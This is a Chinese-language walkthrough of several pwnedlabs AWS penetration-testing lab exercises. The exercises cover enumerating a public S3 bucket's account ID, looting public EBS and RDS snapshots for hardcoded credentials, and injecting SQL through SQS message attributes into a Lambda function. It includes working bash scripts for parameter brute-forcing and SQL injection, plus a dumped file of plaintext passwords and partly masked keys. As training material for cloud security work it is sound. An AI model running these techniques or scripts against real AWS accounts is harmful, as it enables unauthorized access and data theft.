pwnedlabs

Identify the AWS Account ID from a Public S3 Bucket

Scenario

The ability to expose and leverage even the smallest oversights is a coveted skill. A global Logistics Company has reached out to our cybersecurity company for assistance and have provided the IP address of their website. Your objective? Start the engagement and use this IP address to identify their AWS account ID via a public S3 bucket so we can commence the process of enumeration.

靶机开启之后给了一个ip地址和AK/SK


这个AK/SK我没有找到有什么用处

最开始我刚开启靶机,试着ping这个ip地址来测试一下网络的连通性

结果就是死活ping不通

一次无意的curl 发现curl可以访问

这才意识到它可能ban掉了ping协议

nmap探测一手端口

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# nmap -sV -sC 54.204.171.32
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-29 16:48 CST
Nmap scan report for ec2-54-204-171-32.compute-1.amazonaws.com (54.204.171.32)
Host is up (0.29s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Mega Big Tech

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.63 seconds

80端口只是一个静态网站

不过网站的图片是从存储桶上面加载的

aws s3存储桶的命名规则是 <桶的名称>.s3.amazonaws.com

所以这个存储桶的名称就是mega-big-tech

在浏览器上面访问这个存储桶,你会发现除了几张图片并没有什么东西

同时你也可以使用aws cli 来访问这个s3存储桶

使用aws s3 ls s3://mega-big-tech --no-sign-request --recursive来匿名访问存储桶 并且递归显示出桶中的内容

不过这个靶场只是让我们获取与这个s3存储桶关联的AWS账户的id

这里可以用**s3-account-search**这个工具来进行ID枚举

你可以在这里了解到这个工具的原理Finding the Account ID of any public S3 bucket

使用这个工具进行爆破的时候需要一个对目标桶具有s3:GetObject或者s3:ListBucket权限的角色的arn

如果你没有aws账户,你可以使用pwnedlabs提供的一个arn进行枚举arn:aws:iam::427648302155:role/LeakyBucket

如果您有一个aws账户,你也可以自己配置一个角色来进行枚举

首先你需要创建一个用户

然后在策略里面新建两条策略

承担该角色的 IAM 用户将附加以下策略

{
    "Version": "2012-10-17",
    "Statement": {
        "Effect": "Allow",
        "Action": "sts:AssumeRole",
        "Resource": "arn:aws:iam::<your aws account id>:role/<your role name>"
    }
}

您的用户被允许承担的角色将附加以下策略,该策略允许s3:GetObject和s3:ListBucket访问存储桶的权限mega-big-tech

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Enum",
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::mega-big-tech/*"
        },
        {
            "Sid": "Enum1",
            "Effect": "Allow",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::mega-big-tech"
        }
    ]
}

然后创建一个角色,将这两条测试附加上去,我这里分别是rolepolicy与get-meth-big

随后你需要添加信任关系

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<your aws account id>:user/s3enum"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

然后就可以使用这个角色的arn进行ID枚举了

等他完全爆破出来就行了

但是AWS Account ID并不是敏感信息

那么拿到这个信息有什么用呢?

接下来,来看下面这个靶场

Loot Public EBS Snapshots

Scenario

Huge Logistics, a titan in their industry, has invited you to simulate an "assume breach" scenario. They're handing you the keys to their kingdom - albeit, the basic AWS credentials of a fresh intern. Your mission, should you choose to accept it, is to navigate their intricate cloud maze, starting from this humble entry. Gain situational awareness, identify weak spots, and test the waters to see how far you can elevate your access. Can you navigate this digital labyrinth and prove that even the smallest breach can pose significant threats? The challenge is set. The game is on.

靶机只给了一个AK/SK

配置到aws cli中

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws configure
AWS Access Key ID [****************LGXJ]: AKIARQV***Q
AWS Secret Access Key [****************976k]: 0rXFu1********9+e9Z1BptzPv
Default region name [None]:
Default output format [None]:

执行aws sts get-caller-identity来查看当前用户信息。类似于linux中的whoami

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws sts get-caller-identity
{
    "UserId": "AIDARQVIRZ4UJNTLTYGWU",
    "Account": "104506445608",
    "Arn": "arn:aws:iam::104506445608:user/intern"
}

执行aws iam list-attached-user-policies --user-name intern来列出与intern关联的iam策略

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws iam list-attached-user-policies --user-name intern
{
    "AttachedPolicies": [
        {
            "PolicyName": "PublicSnapper",
            "PolicyArn": "arn:aws:iam::104506445608:policy/PublicSnapper"
        }
    ]
}

查看该策略aws iam get-policy --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws iam get-policy --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper
{
    "Policy": {
        "PolicyName": "PublicSnapper",
        "PolicyId": "ANPARQVIRZ4UD6B2PNSLD",
        "Arn": "arn:aws:iam::104506445608:policy/PublicSnapper",
        "Path": "/",
        "DefaultVersionId": "v9",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-06-10T22:33:41+00:00",
        "UpdateDate": "2024-01-15T23:47:11+00:00",
        "Tags": []
    }
}

当前生效的策略版本是v9

  • PolicyName: PublicSnapper - 策略的名称。
  • PolicyId: ANPARQVIRZ4UD6B2PNSLD - 策略的唯一标识符。
  • Arn: arn:aws:iam::104506445608:policy/PublicSnapper - 策略的 ARN。
  • Path: / - 策略的路径(默认路径)。
  • DefaultVersionId: v9 - 当前生效的策略版本是 v9,说明这个策略可能被更新过多次(从 v1 到 v9)。
  • AttachmentCount: 1 - 该策略当前附加到了 1 个实体(这里是用户 intern)。
  • PermissionsBoundaryUsageCount: 0 - 没有使用权限边界。
  • IsAttachable: true - 表示这是一个托管策略,可以附加到用户、组或角色。
  • CreateDate: 2023-06-10T22:33:41+00:00 - 策略创建时间(2023年6月10日)。
  • UpdateDate: 2024-01-15T23:47:11+00:00 - 最后一次更新时间(2024年1月15日)。
  • Tags: [] - 没有附加标签。

查看策略的具体内容aws iam get-policy-version --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper --version-id v9

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws iam get-policy-version --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper --version-id v9
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "Intern1",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeSnapshotAttribute",
                    "Resource": "arn:aws:ec2:us-east-1::snapshot/snap-0c0679098c7a4e636"
                },
                {
                    "Sid": "Intern2",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeSnapshots",
                    "Resource": "*"
                },
                {
                    "Sid": "Intern3",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": [
                        "arn:aws:iam::104506445608:user/intern",
                        "arn:aws:iam::104506445608:policy/PublicSnapper"
                    ]
                },
                {
                    "Sid": "Intern4",
                    "Effect": "Allow",
                    "Action": [
                        "ebs:ListSnapshotBlocks",
                        "ebs:GetSnapshotBlock"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v9",
        "IsDefaultVersion": true,
        "CreateDate": "2024-01-15T23:47:11+00:00"
    }
}

拥有ec2:DescribeSnapshotAttribute与ec2:DescribeSnapshots这两个权限。这个两个权限都可以查看快照信息,不过第一个是针对于特定快照的,并且可以查看具体信息。第二个是针对所有快照的,只能查看基本信息。

列出当前用户拥有的快照aws ec2 describe-snapshots --owner-ids self --region us-east-1

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws ec2 describe-snapshots --owner-ids self --region us-east-1
{
    "Snapshots": [
        {
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "PublicSnapper"
                }
            ],
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2023-06-12T15:22:57.924000+00:00",
            "SnapshotId": "snap-0c0679098c7a4e636",
            "VolumeId": "vol-0ac1d3295a12e424b",
            "State": "completed",
            "StartTime": "2023-06-12T15:20:20.580000+00:00",
            "Progress": "100%",
            "OwnerId": "104506445608",
            "Description": "Created by CreateImage(i-06d9095368adfe177) for ami-07c95fb3e41cb227c",
            "VolumeSize": 8,
            "Encrypted": false
        },
        {
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2023-08-24T19:34:22.909000+00:00",
            "SnapshotId": "snap-035930ba8382ddb15",
            "VolumeId": "vol-09149587639d7b804",
            "State": "completed",
            "StartTime": "2023-08-24T19:30:49.742000+00:00",
            "Progress": "100%",
            "OwnerId": "104506445608",
            "Description": "Created by CreateImage(i-0199bf97fb9d996f1) for ami-0e411723434b23d13",
            "VolumeSize": 24,
            "Encrypted": false
        }
    ]
}

查看快照的createVolumePermission属性

createVolumePermission这个属性决定了谁可以用这个快照来创建EBS卷

EBS(Elastic Block Store) 是 AWS 提供的持久性块存储服务,用于给 EC2 实例提供存储。简单来说,EBS 卷就像是一块云端的硬盘,可以挂载到 EC2 服务器上,并在服务器关机后仍然保留数据。

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop/cicd/cicd-goat/reports/caterpillar]
└─# aws ec2 describe-snapshot-attribute --snapshot-id snap-0c0679098c7a4e636 --attribute createVolumePermission --region us-east-1
{
    "SnapshotId": "snap-0c0679098c7a4e636",
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ]
}

{"Group":"all"}表明所有用户都可以用这个夸张进行创建EBS卷

然后我们就可以在aws控制台 进入ec2板块->快照 搜索快照

从快照复制卷

创建好的卷需要记住这个可用区

然后创建一个实例镜像啥的选免费套餐就行

记得创建一个密钥对

这里的可用区一定要和卷的可用区一样

其他的默认,创建实例

不能直接远程登录root

使用他要求的ec2-user就行了

然后把刚才的卷挂载到服务器上面

列出所有块设备

将xvdb挂载一下 mount /dev/xvdb1 /root/pwnedlabs/

在/root/pwnedlabs/home/intern/practice_files目录下找到了一个s3_download_file.php

s3_download_file.php中包含了一个桶名称为ecorp-client-data的AK/SK

在aws cli配置好aksk之后,就可以访问存储桶了

Plunder Public RDS Snapshots

Scenario

Huge Logistics, a global logistics leader, has enlisted your team's expertise for an external security review of their cloud infrastructure. Starting with the provided AWS Account ID, your task is to uncover security flaws within their AWS environment and demonstrate the potential risks they pose. Every finding will bolster their defense against future threats.

靶机只给了一个AWS account ID

看到这个AWS account ID。经过前面两个靶场的经验。我去找了这个ID的EBS快照。但是没找到东西😂

然后又去找了找RDS快照,找到了些东西

下面这是一些AWS的快照类型

AWS几个主要的快照

1. Amazon EBS 快照(Elastic Block Store Snapshots)

EBS 快照用于 备份 Amazon EBS 卷,主要有以下类型:

  • 手动快照(Manual Snapshots)
  • 由用户手动创建的 EBS 卷备份。
  • 自动快照(Automated Snapshots)
  • 由 AWS Backup 或生命周期策略(Lifecycle Policies)自动创建。
  • 增量快照(Incremental Snapshots)
  • AWS 只存储自上次快照以来更改的数据,以节省存储成本。
  • 共享快照(Shared Snapshots)
  • 你可以与 其他 AWS 账户 共享快照,但加密的快照必须使用相同的 KMS 密钥。
  • 公共快照(Public Snapshots)
  • 任何 AWS 账户都可以访问的快照。

2. Amazon RDS 快照(Relational Database Service Snapshots)

RDS 快照用于 备份 AWS RDS 数据库,主要包括:

  • 手动 RDS 快照(Manual DB Snapshots)
  • 由用户手动创建的数据库备份,可以保留无限时间。
  • 自动 RDS 快照(Automated DB Snapshots)
  • 由 AWS 维护,并根据保留策略自动删除。
  • 共享 RDS 快照(Shared DB Snapshots)
  • 允许你共享数据库快照给其他 AWS 账户。
  • 公共 RDS 快照(Public DB Snapshots)
  • 任何 AWS 账户都可以访问的数据库快照。
  • 跨区域复制 RDS 快照(Cross-Region DB Snapshots)
  • 允许你将快照复制到其他 AWS 区域,以提高容灾能力。

3. Amazon Aurora 快照(Aurora Snapshots)

Aurora 数据库集群也支持快照,与 RDS 类似,包含:

  • 手动 Aurora 快照(Manual Aurora Snapshots)
  • 自动 Aurora 快照(Automated Aurora Snapshots)
  • 共享 Aurora 快照(Shared Aurora Snapshots)
  • 公共 Aurora 快照(Public Aurora Snapshots)
  • 跨区域复制 Aurora 快照(Cross-Region Aurora Snapshots)

4. Amazon Redshift 快照

Redshift 是 AWS 的 数据仓库,它的快照类型包括:

  • 手动快照(Manual Snapshots)
  • 自动快照(Automated Snapshots)
  • 共享快照(Shared Snapshots)
  • 跨区域复制快照(Cross-Region Snapshots)

5. Amazon FSx 快照

Amazon FSx 主要用于 托管文件系统,支持以下快照:

  • FSx for Windows File Server Snapshots
  • FSx for Lustre Snapshots

6. Amazon Backup 管理的快照

AWS Backup 提供 集中化的备份管理,支持:

  • EBS 卷快照
  • RDS/Aurora 数据库快照
  • DynamoDB 备份
  • EFS 备份
  • FSx 备份
  • Storage Gateway 备份

这个AWS account ID 下面有一个RDS的公共快照

还原快照

随便起一个名称

新建一个VPC,然后设置公开访问

然后换源快照,时间可能稍长一些

设置EC2连接

创建一个EC2

这里的VPC要与数据库在同一个VPC一样

然后就可以将数据库连接到EC2上面了

然后修改数据库密码

使用psql -h <endpoint> -U postgres连接到数据库

<endpoint>替换为

EC2上面没有psql使用apt install -y postgresql-client命令安装一个


使用l列出数据库

使用c 数据库名来使用数据库

使用dt列出数据表

AWS S3 Enumeration Basics

Scenario

It's your first day on the red team, and you've been tasked with examining a website that was found in a phished employee's bookmarks. Check it out and see where it leads! In scope is the company's infrastructure, including cloud services.

开启后给了一个地址

只是一个静态页面

网站中的一些图片是从aws s3存储桶中加载的

相比前几个靶场 这个连接看起来怪怪的

前几关s3存储桶的格式都是<桶的名称>.s3.amazonaws.com

但是这个的地址形式竟然是s3.amazonaws.con/<桶的名称>/

后来了解到 这种形式的老版本的 路径方式访问存储桶。 现在大多用的都是第一个 虚拟托管式 访问存储桶

匿名访问存储桶可以列出一些目录

递归列出目录内容却失败

只能匿名访问shared与static目录

shared目录汇总有一个zip,下载zip之后。里面有一个poweroffshell脚本。脚本中有一个AK/SK

aws configure配置好AK/SK

┌──(root㉿LAPTOP-40PQI58C)-[~]
└─# aws configure
AWS Access Key ID [****************XEHU]: AKIA3SFMDA******U
AWS Secret Access Key [****************/gb9]: MwGe3l*****83RX/gb9
Default region name [us-east-1]:
Default output format [None]:

然后就可以递归列出目录下的文件了

注意到admin目录下有一个flag.txt

但是没有权限下载

然后在回到刚才的那个powershell脚本上

刚那个powershell脚本会从export.xml中读取 密钥数据

然后migration-files目录下刚好有一个test-export.xml,先试试读取这个文件。

┌──(root㉿LAPTOP-40PQI58C)-[/mnt/c/Users/legion/Downloads/hl_migration_project]
└─# aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt .
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

┌──(root㉿LAPTOP-40PQI58C)-[/mnt/c/Users/legion/Downloads/hl_migration_project]
└─# aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml .
download: s3://dev.huge-logistics.com/migration-files/test-export.xml to ./test-export.xml

┌──(root㉿LAPTOP-40PQI58C)-[/mnt/c/Users/legion/Downloads/hl_migration_project]
└─# cat test-export.xml
<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
    <!-- Oracle Database Credentials -->
    <CredentialEntry>
        <ServiceType>Oracle Database</ServiceType>
        <Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
        <Username>admin</Username>
        <Password>Password123!</Password>
        <Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
    </CredentialEntry>
    <!-- HP Server Credentials -->
    <CredentialEntry>
        <ServiceType>HP Server Cluster</ServiceType>
        <Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
        <Username>root</Username>
        <Password>RootPassword456!</Password>
        <Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
    </CredentialEntry>
    <!-- AWS Production Credentials -->
    <CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>794929857501</AccountID>
        <AccessKeyID>AKIA3******GCD</AccessKeyID>
        <SecretAccessKey>t21ERPmDq5C1QN55******jP</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
    <!-- Iron Mountain Backup Portal -->
    <CredentialEntry>
        <ServiceType>Iron Mountain Backup</ServiceType>
        <URL>https://backupportal.ironmountain.com</URL>
        <Username>hladmin</Username>
        <Password>HLPassword789!</Password>
        <Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
    </CredentialEntry>
    <!-- Office 365 Admin Account -->
    <CredentialEntry>
        <ServiceType>Office 365</ServiceType>
        <URL>https://admin.microsoft.com</URL>
        <Username>admin@company.onmicrosoft.com</Username>
        <Password>O365Password321!</Password>
        <Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
    </CredentialEntry>
    <!-- Jira Admin Account -->
    <CredentialEntry>
        <ServiceType>Jira</ServiceType>
        <URL>https://hugelogistics.atlassian.net</URL>
        <Username>jira_admin</Username>
        <Password>JiraPassword654!</Password>
        <Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
    </CredentialEntry>
</CredentialsExport>

OK, 这个文件可以下载

然后里面还有一个AWS IT Admin的AK/SK

将这个AK/SK配置到awscli中

然后就能读取到flag.txt了

SQS and Lambda SQL Injection

Scenario

During a red team engagement you discovered hardcoded AWS credentials and reference to the region eu-north-1. What cloud infrastructure and sensitive information might be accessible using these details? The red team engagement is ending soon and another impactful finding would complete the report!

靶机开启后 给了一个区域地址, AK/SK

将这些信息配置到aws-enumerator中, 然后枚举一下有哪些服务,权限。

这个aws-enumerator我第一次按照文档说明的方式安装的时候。安装好久都没成功安装

后来我是将仓库clone到本地然后在本地编译了一下。。。

┌──(root㉿kali)-[/home/kali/Desktop/awsenum/aws-enumerator]
└─# aws-enumerator cred -aws_access_key_id AKIATWV******THOR -aws_region eu-north-1 -aws_secret_access_key xkyuDW2oXX/*********5qnVf+
Message:  File .env with AWS credentials were created in current folder

配置了AK/SK信息之后会在当前目录下生成一个.env文件存储相关信息

┌──(root㉿kali)-[/home/kali/Desktop/awsenum/aws-enumerator]
└─# cat .env  
AWS_REGION=eu-north-1
AWS_ACCESS_KEY_ID=AKI****8BHTHOR
AWS_SECRET_ACCESS_KEY=xky************************g07e1sfzbbjZ+5qnVf+
AWS_SESSION_TOKEN=

然后使用aws-enumerator enum -services all来枚举服务

用aws-enumerator dump -services SQS,LAMBDA,STS来枚举相关权限

aws configure配置好AK/SK之后使用aws lambda list-functions来列出Lambda函数信息

┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "huge-logistics-stock",
            "FunctionArn": "arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock",
            "Runtime": "python3.11",
            "Role": "arn:aws:iam::254859366442:role/service-role/huge-lambda-analytics-role-ewljs6ls",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 104874,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2023-09-20T11:26:12.000+0000",
            "CodeSha256": "FkcaVsjbU9YqnNKIPWBqAu76S9bST/bfljnSuDoU4Y0=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [],
                "SecurityGroupIds": [],
                "VpcId": "",
                "Ipv6AllowedForDualStack": false
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "dcbd95eb-b673-40dc-9bc0-2ce35d1edd0c",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/huge-logistics-stock"
            }
        }
    ]
}

尝试获取这个函数的内容 aws lambda get-function --function-name huge-logistics-stock

┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws lambda get-function --function-name huge-logistics-stock

An error occurred (AccessDeniedException) when calling the GetFunction operation: User: arn:aws:iam::254859366442:user/analytics-usr is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock because no identity-based policy allows the lambda:GetFunction action

尝试调用这个lambda函数aws lambda invoke --function-name huge-logistics-stock

┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws lambda invoke --function-name huge-logistics-stock output && cat output 
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{"statusCode": 200, "body": "\"Invalid event parameter!\""}     

传入一个--payload试试

这里如果你使用的是AWS CLI 的版本2 你可能会遇到这个问题, 出现Invalid base64的报错

这里需要加上--cli-binary-format raw-in-base64-out 参数对有效载荷进行编码就可以了

这里仍然是Invalid event parameter!的报错

使用burp的参数名字典进行参数名枚举

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt

我的枚举脚本

#!/bin/bash

i=0
for word in $(cat burp-parameter-names.txt); do
    ((i++))
    echo "Try $i : $word"

    aws lambda invoke \
        --function-name huge-logistics-stock \
        --payload "{\"$word\":\"test\"}" \
        output \
        --cli-binary-format raw-in-base64-out > /dev/null

    # 检查是否返回 "Invalid event parameter"
    if grep -q "Invalid event parameter" output; then
        rm output
    else
        echo -e "\n✅ Found parameter: $word"
        cat output
        break
    fi
done

找到了一个名为DESC的参数

但是它好像是要一个trackingID

再来看SQS服务

使用aws sqs list-queues列出所有的队列URL

┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws sqs list-queues                        
{
    "QueueUrls": [
        "https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics"
    ]
}

使用aws sqs receive-messsage --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attribute-names All 查看队列中的消息

┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws sqs receive-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attribute-names All 
{
    "Messages": [
        {
            "MessageId": "c788d15f-b9ab-4449-b4d9-571d91545174",
            "ReceiptHandle": "AQEBI8Ae8OEuSQ9BmRpE5evwQeuTsJWolY1L2y4gz9eiuOfzEGSEA4jJkETbFcexXspB6vi9l58WbOpURKSZUZYSLa4ZPBs08wv7fGxG6lOnLFqAW0CGfAKUcfTlnmziCrM70KTDbrtHQXMhL/Ogn1nrbW3UgNDtWw7VcMeBxuqrVWUFCP7jRRp73rQO0aF6ohcbn+eFPCP17xMa01uDalrmDyUzea/C8wV20rrgWl8YKXfUUz+dIM6RFaVaDtXkqSDiow+rlOG6PKxt5KGd8qNbVVUZvnWgmXzCdR3+mS5EEIzV1Uh74SL+wyUK8ZeTcko4n0va1qEtB4kTvrougAzjewi0oJiOH4BPnk2UDsYG2f7ABd+iS0lu0Dr4HkfOxWuZhnXOYtxxcouHN2ruAylS5w==",
            "MD5OfBody": "384d1bf99519c806443548fe0bf8971e",
            "Body": "EY shipped package of 448kg",
            "MD5OfMessageAttributes": "1a7d1820e87c973d1b243fc3cca94587",
            "MessageAttributes": {
                "Client": {
                    "StringValue": "EY",
                    "DataType": "String"
                },
                "Weight": {
                    "StringValue": "448",
                    "DataType": "Number"
                },
                "trackingID": {
                    "StringValue": "HLT4180",
                    "DataType": "String"
                }
            }
        }
    ]
}

多运行几次这个命令

┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws sqs receive-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attribute-names All                  
{
    "Messages": [
        {
            "MessageId": "bbd59d9c-6d36-40a4-bae9-edc6da03b265",
            "ReceiptHandle": "AQEBbq/7avfacDAzAVrAvhUlib/g7kJSFHUcEGqBx8c7VdKnAmERanuPcalH6uSGmmuTFusqmjJEiN9ue14cFQ8U9xrBAo9GR2gx+zLlku3QNRpxLQGBra6TYiTpefzxx/Lexx97Hj1me8R86T/ng4rvwnjdiIPTCI0rlcr4WMCmuNx0EEG/v+VZUcVFLYHuuSiHZvR3u6Ax5s361iXRQmy/AX3N8yC3S4TlTmsXPGAOIxbAn1G0fHDTI7Ynrx8QFTqmJ8/ND9+H8OM9H6esYGAatlF0CwxTkZoyOFCSkun+OM0YuDQv1D/N/NgnBE2x8Uwx8+j0Ptaqo7GVR03C9+7pqMKyGZoLjpIfmzUimDE9UiOFTI/pXEJFAc7ThoJoVDarXzACNgX0zB3R7cBMi8DtrA==",
            "MD5OfBody": "8930f6977287c368e5240830b67d8eed",
            "Body": "Adidas shipped package of 173kg",
            "MD5OfMessageAttributes": "9f05e0fcd79a4877277d79bcd1d96f10",
            "MessageAttributes": {
                "Client": {
                    "StringValue": "Adidas",
                    "DataType": "String"
                },
                "Weight": {
                    "StringValue": "173",
                    "DataType": "Number"
                },
                "trackingID": {
                    "StringValue": "HLT7840",
                    "DataType": "String"
                }
            }
        }
    ]
}
┌──(root㉿kali)-[/home/kali/Desktop/burp]
└─# aws sqs receive-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attribute-names All                  
{
    "Messages": [
        {
            "MessageId": "5d14b621-836d-46c3-aa4b-e3cbc7caa8bb",
            "ReceiptHandle": "AQEBmY3hrY6eJNKmQ2ZmSyS/V6s+0qgQomhV7GNGPTBpHq7NADHB9ZWf9JoKgeR4XLdYwQkieIpNetCCee/U+DCyJT5kzWDP21h8aKcpT4Oao/sn3o3YJjqqAWolO/RkB4w11Lpo8J7ilOTG5jeFfD6bKNE+5ePlgKvAdvze5aDWaX3HaTGAAhdo6bb3FebuF+mkMB41xIafCWYB8TrNqIWVuJzp0Svlg3qaQi8Q9RgE/H1Y9m1l/jHoi4Fr2BPKNYoVx5gEc68sZlO/95QRB9VTd1pNcqqGf3ZP76HKXpI3za1fvemrpILhLNeWHQg+9M5rrcqD9/ICDigQGrP042fj+oiJW7bWYUz4xIF4kUzdk7zg9rxyIfNFuMMzM+6cMa8LIoY72zwPIFwT6FRTOV68nQ==",
            "MD5OfBody": "ec8ab2997e04e3256df898f74a832742",
            "Body": "Google inc. shipped package of 145kg",
            "MD5OfMessageAttributes": "d72f8ee96fe4a76abb1212c9708af625",
            "MessageAttributes": {
                "Client": {
                    "StringValue": "Google inc.",
                    "DataType": "String"
                },
                "Weight": {
                    "StringValue": "145",
                    "DataType": "Number"
                },
                "trackingID": {
                    "StringValue": "HLT1223",
                    "DataType": "String"
                }
            }
        }
    ]
}

可以看到不同的客户端名称 包括Goole inc. EY 、Adidas

像SQS 对列中发送一个这样格式的消息,对trackingID进行修改。 至于为什么要修改trackingID稍后说明

aws sqs send-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"Google inc.", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"

然后运行aws lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-stock --payload "{"DESC":"HLT1337"}" output && cat output 调用lambda 函数

你可能会遇到这种情况

这是正常现象 。 多调用几次lambda函数即可

他返回了客户端名称为Goole Inc.的所有的纪录

在发一个消息 这次试着将 clientName 字段改一下。 这里我将clientName 字段改成Yliken

aws sqs send-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"Yliken", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"

这次返回了一个空

所有这个lambda函数可能是查询出某个clientName的所有记录

再向队列中发一条消息

aws sqs send-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"Yliken \"", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"

这次在clientName处插入一个"号

出现了DB error 这就很明显了吧😎

用一个脚本进行sql注入

#!/bin/bash

output=default

while [ -n "$output" ]; do

    output=""

    aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"Weight\": { \"StringValue\": \"1337\", \"DataType\":\"Number\"}, \"Client\": {\"StringValue\":\"VELUS CORP.\\\" $1\", \"DataType\": \"String\"}, \"trackingID\": {\"StringValue\":\"HLT1337\", \"DataType\":\"String\"}}" --message-body "Testing" | tee &> /dev/null

    aws lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null
    output=$(cat output | grep "Invalid")

    if [[ $output == "" ]]; then
        cat output
        echo ""
    fi
done

然后执行./sql.sh "union select 1,2,3,4; -- a"手动爆字段 与回显 这里我已经事先字段是 4 个字段了

这里1,2,3,4都是回显 我第一次做的时候 只用了4来回显。 现在测试了一下用1 回显

然后就是查表名

查字段名

查数据

AWS 中的SQS 与 Lambda

AWS Lambda 是Amazon退出的一个无服务器函数计算服务, 你只需要编写代码并上传 Lambda 就会安装代码 逻辑自动进行计算。

SQS(Simple Queue Service) 是Amazon推出的一个完全托管的消息队列服务。

举个例子

